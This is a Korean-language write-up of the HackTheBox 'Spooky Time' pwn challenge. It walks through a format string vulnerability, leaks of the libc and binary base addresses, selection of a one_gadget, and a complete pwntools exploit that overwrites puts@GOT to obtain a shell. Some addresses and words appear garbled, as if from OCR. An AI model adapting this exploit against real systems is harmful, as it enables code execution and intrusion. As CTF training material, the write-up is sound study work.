Spooky_time



Spooky Time 1000

https://app.hackthebox.com/challenges/spooky-time

Flag

개요

- ASLR 이 활성화 되어있어 메모리가 무작위로 매핑됨
- RELRO 가 비활성화 되어있어 Global offset table overwrite 가능

whoami@choijunwon:~/Spooky Time\$ tree
.
___ challenge
|--- flag.txt
|--- flag.txt:Zone.Identifier

```
- glibc
| - Id-linux-x86-64.so.2
| - Id-linux-x86-64.so.2:Zone.Identifier
| - Iibc.so.6
| - Iibc.so.6:Zone.Identifier
| - spooky_time
- spooky_time:Zone.Identifier
```

Protect

Arch: amd64-64-little

• RELRO: No RELRO

• Stack: Canary found

• NX: NX enabled

• PIE: PIE enabled

정적 분석

main()

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
    char format[12]; // [rsp+4h] [rbp-14Ch] BYREF
    char v6[312]; // [rsp+10h] [rbp-140h] BYREF
    unsigned __int64 v7; // [rsp+148h] [rbp-8h]

v7 = __readfsqword(0x28u);
    setup(argc, argv, envp);
    banner();
    puts("It's your chance to scare those little kids, say something scary!\n");
    __isoc99_scanf("%11s", format);
    puts("\nSeriously?? I bet you can do better than ");
```

```
printf(format);
puts("\nAnyway, here comes another bunch of kids, let's try one more time..'
puts("\n");
__isoc99_scanf("%299s", v6);
puts("\nOk, you are not good with that, do you think that was scary??\n");
printf(v6);
puts("Better luck next time!\n");
return v7 - __readfsqword(0x28u);
}
```

• 처음 scnaf 뒤 printf(format) 이라는 포맷형식이 지정되지않은 printf문 사용

```
__isoc99_scanf("%11s", format);
puts("\nSeriously?? I bet you can do better than ");
printf(format);
```

- 두번째 scanf 뒤 똑같이 printf(v6) 이라는 포맷형식이 지정되지않은 printf문 사용
- 첫번째 보다 큰 입력값을 가질수 있으므로 넓은 범위로 메모리 탐색 가능

```
__isoc99_scanf("%299s", v6);
puts("\nOk, you are not good with that, do you think that was scary??\n");
printf(v6);
```

• 즉 FSB 발생

동적 분석

- asir 을 off한 상태에서 Offset 을 구하고 asir 을 활성화 한뒤 실제로 그 주소가 offset을 찾을만한 인자인지 검증
- put_got 주소를 bin_base 에 더하고 libc 파일에서 찾은 onegadget 을 libc_base 에 더해준 다 즉 베이스에서 탐색한 오프셋이 aslr 켜져있을때 같은 오프셋을 가지는지 확인하는 과정

```
vmmap
                                                                                                            /home/whoami/spooky_time/test/challenge/spooky_time
/home/whoami/spooky_time/test/challenge/spooky_time
0x0000555555554000 0x0000555555555000 r--p
0x0000555555555000 0x0000555555556000
                                                                                                            /home/whoami/spooky_time/test/challenge/spooky_time
/home/whoami/spooky_time/test/challenge/spooky_time
/home/whoami/spooky_time/test/challenge/spooky_time
0x0000555555556000 0x0000555555557000 r-
0x0000555555557000 0x000055555558000 rw-p
0x00007ffff7d91000 0x00007ffff7d94000 rw-p
0x00007ffff7d94000 0x00007ffff7dbc000 r--p
                                                                                                            mapped
                                                                                                            home/whoami/spooky_time/test/challenge/glibc/libc.so.6/home/whoami/spooky_time/test/challenge/glibc/libc.so.6/home/whoami/spooky_time/test/challenge/glibc/libc.so.6/home/whoami/spooky_time/test/challenge/glibc/libc.so.6/home/whoami/spooky_time/test/challenge/glibc/libc.so.6/home/whoami/spooky_time/test/challenge/glibc/libc.so.6/
0x00007ffff7dbc000 0x00007ffff7f51000 r-xp
0x00007ffff7f51000 0x00007ffff7fa9000 r--p
0x00007ffff7fa9000 0x00007ffff7fad000 r--p
0x00007fffff7fad000 0x00007ffff7faf000 rw-p
0x00007ffff7faf000 0x00007ffff7fbe000 rw-p
0x00007ffff7fbe000 0x00007ffff7fc2000 r--
                                                                                                             [vvar]
0x00007ffff7fc2000 0x00007ffff7fc3000 r-xp
0x00007ffff7fc3000 0x00007ffff7fc5000 r--p
0x00007ffff7fc5000 0x00007ffff7fef000 r-xp
0x00007ffff7fef000 0x00007ffff7ffa000 r--p
0x00007ffff7ffb000 0x00007ffff7ffd000 r--p
                                                                                                            //dosoj
/home/whoami/spooky_time/test/challenge/glibc/ld-linux-x86-64.so.2
/home/whoami/spooky_time/test/challenge/glibc/ld-linux-x86-64.so.2
/home/whoami/spooky_time/test/challenge/glibc/ld-linux-x86-64.so.2
/home/whoami/spooky_time/test/challenge/glibc/ld-linux-x86-64.so.2
/home/whoami/spooky_time/test/challenge/glibc/ld-linux-x86-64.so.2
[stack]
                                                                                                             [vdso]
0x00007ffff7ffd000 0x00007ffff7fff000 rw-p
0x00007ffffffde000 0x00007ffffffff000
```

aslr off 후 vmmap을 확인했을때 binary , libc 의 각 start 와 end 의 주소는 다음과 같다.

bin.start : 0x55555554000

bin.end : 0x55555553000

libc.start : 0x7ffff7fc3000

libc.end : 0x7ffff7fff000

Ok, you are not good with that, do you think that was scary??

0x1,0x1,0x7fffffea8a37,0x3f,0x7ffffffad280,0x3100000000,(nil),0x70252c70252c7025,0x252c70252c70252c,0x2c7025

- 이후 FSB 취약점이 발생하는 포인트를 활용 하여 %p 로 해당 입력 버퍼부터의 입력 오 프셋까지의 주소들을 출력
- 찾아야하는 값은 다음과 같다.
- binary: $0x5555555554000 \le addr \le 0x555555553000$
- libc : 0x7ffff7d94000 ≤ addr ≤ 0x7ffff7faf000

```
arr = [0x1,0x1,0x7fffff7ea8a37,0x3f,0x7ffff7fad280,0x3100000000,0x1,0x70252
bin_start = 0x555555554000
bin_end = 0x55555555a000

libc_start = 0x7ffff7d94000
libc_end = 0x7ffff7faf000

for i in range(0,len(arr)):
    if hex(bin_start) <= hex(arr[i]) <= hex(bin_end):
        print(f'found [bin]! {i+1} : {hex(arr[i])}')
    if hex(libc_start) <= hex(arr[i]) <= hex(libc_end):
        print(f'found [lib]! {i+1} : {hex(arr[i])}')</pre>
```

실행결과

• 입력 버퍼와 가장 근처에있는 값의 오프셋을 구했을때 결과는 다음과 같다.

```
>>> print(0x7ffff7ea8a37 - 0x7ffff7d94000)
1133111
>>> print(0x5555555555500 - 0x55555554000)
5056
```

• libc.offset3 : 1133111

- bin.offset51 : 5056
- asir 이 disable 상태이기 때문에 enable 상태에서도 오프셋이 정확한지 확인하는 과정 필요

aslr on vmmap

```
/home/whoami/spooky_time/test/challenge/spooky_time
/home/whoami/spooky_time/test/challenge/spooky_time
/home/whoami/spooky_time/test/challenge/spooky_time
/home/whoami/spooky_time/test/challenge/spooky_time
/home/whoami/spooky_time/test/challenge/spooky_time
0x000055b83b0df000 0x000055b83b0e0000 r--p
0x000055b83b0e0000 0x000055b83b0e1000 r-xp
0x000055b83b0e1000 0x000055b83b0e2000 r--p
0x000055b83b0e2000 0x000055b83b0e3000 rw-p
0x000055b83b0e3000 0x000055b83b0e5000 rw-p
0x00007f35d588a000 0x00007f35d588d000 rw-p
                                                                         mapped
0x00007f35d588d000 0x00007f35d58b5000
                                                                         /home/whoami/spooky_time/test/challenge/glibc/libc.so.6
                                                                         /home/whoami/spooky_time/test/challenge/glibc/libc.so.6
/home/whoami/spooky_time/test/challenge/glibc/libc.so.6
/home/whoami/spooky_time/test/challenge/glibc/libc.so.6
0x00007f35d58b5000 0x00007f35d5a4a000
0x00007f35d5a4a000 0x00007f35d5aa2000
0x00007f35d5aa2000 0x00007f35d5aa6000 r-
                                                                         /home/whoami/spooky_time/test/challenge/glibc/libc.so.6
0x00007f35d5aa6000 0x00007f35d5aa8000 rw-p
0x00007f35d5aa8000 0x00007f35d5ab7000 rw-
0x00007f35d5ab7000 0x00007f35d5ab9000 r--p
0x00007f35d5ab9000 0x00007f35d5ae3000 r-xp
                                                                         mapped
                                                                         /home/whoami/spooky_time/test/challenge/glibc/ld-linux-x86-64.so.2
                                                                         /home/whoami/spooky_time/test/challenge/glibc/ld-linux-x86-64.so.2
/home/whoami/spooky_time/test/challenge/glibc/ld-linux-x86-64.so.2
/home/whoami/spooky_time/test/challenge/glibc/ld-linux-x86-64.so.2
0x00007f35d5ae3000 0x00007f35d5aee000 r
0x00007f35d5aef000 0x00007f35d5af1000
0x00007f35d5af1000 0x00007f35d5af3000 rw-p
                                                                         /home/whoami/spooky_time/test/challenge/glibc/ld-linux-x86-64.so.2
0x00007fff6c7c8000 0x00007fff6c7e9000
0x00007fff6c7f7000 0x00007fff6c7fb000
                                                                         [vvar]
0x00007fff6c7fb000 0x00007fff6c7fc000
                                                                         [vdso]
```

bin.start : 0x55c783584000

libc.start : 0x7f120d004000

- libc 의 오프셋을 구했던 %3\$p
- bin 의 오프셋을 구했던 %51\$p
- 해당 지점의 오프셋이 정확한지 확인

It's your chance to scare those little kids, say something scary!

%3\$p.%51\$p

Seriously?? I bet you can do better than 0x7f120d118a37.0x55c7835853c0
Anyway, here comes another bunch of kids, let's try one more time..

• [3]:0x7f120d118a37

[51]:0x55c7835853c0

• 각 포인트 에서 start addr만큼 뺀결과 확인

```
>>> print(0x7f120d118a37-0x00007f120d004000)
1133111
>>> print(0x55c7835853c0-0x000055c783584000)
5056
```

- %3\$p addr libc.start addr 를 뺀 결과가 libc_base 주소
- %51\$p addr bin.start addr를 뺀 결과가 bin_base 주소
- 이후 shell 을 열기위한 oneshot gadget 과 덮어 씌울 puts got 주소를 구함
- rsi 는 execve()에서 argv[] 인자 배열 주소를 담기 때문에 조건이 NULL 이면 안됨
- Oxebcf1 오프셋 사용

```
Oxebcf1 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
```

puts@got

whoami@choijunwon:~/spooky_time/test/challenge\$ objdump -R spooky_time 000000000003da0 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5

- 0x3da0 오프셋
- 구해진 각 onegadget 과 puts@got 오프셋 을 base addr에 더하여 동적으로 프로그램이 실행중일때의 주소를 구함

PoC

- 1. 첫번째로 진행되는 scanf 에서 %3\$p,%51\$p 입력후 덮어씌울 주소를 구한다.
- 2. 각 주소 별로 1133111 , 5056 만큼 빼서 bin , libc 의 base_addr 를 구한다.
- 3. puts@got 주소에 onegadget 주소를 덮어 puts@plt 가 got 를 호출할때 쉘 실행

```
from pwn import *
p = process("spooky_time")
context.arch = 'amd64'
p.recvuntil("scary!\n")
p.sendline(b"%3$p,%51$p")
p.recvuntil("than")
p.recvline()
libc,el = p.recvline().decode().split(",")
libc = int(libc,16)
el = int(el,16)
libc_base = libc - 1133111
elf_base = el - 5056
puts_got = elf_base + 0x3da0
ones = libc_base + 0xebcf1
# gdb.attach(p)
payload = fmtstr_payload(8, {puts_got:ones})
p.recvuntil("time..")
p.sendline(payload)
p.interactive()
```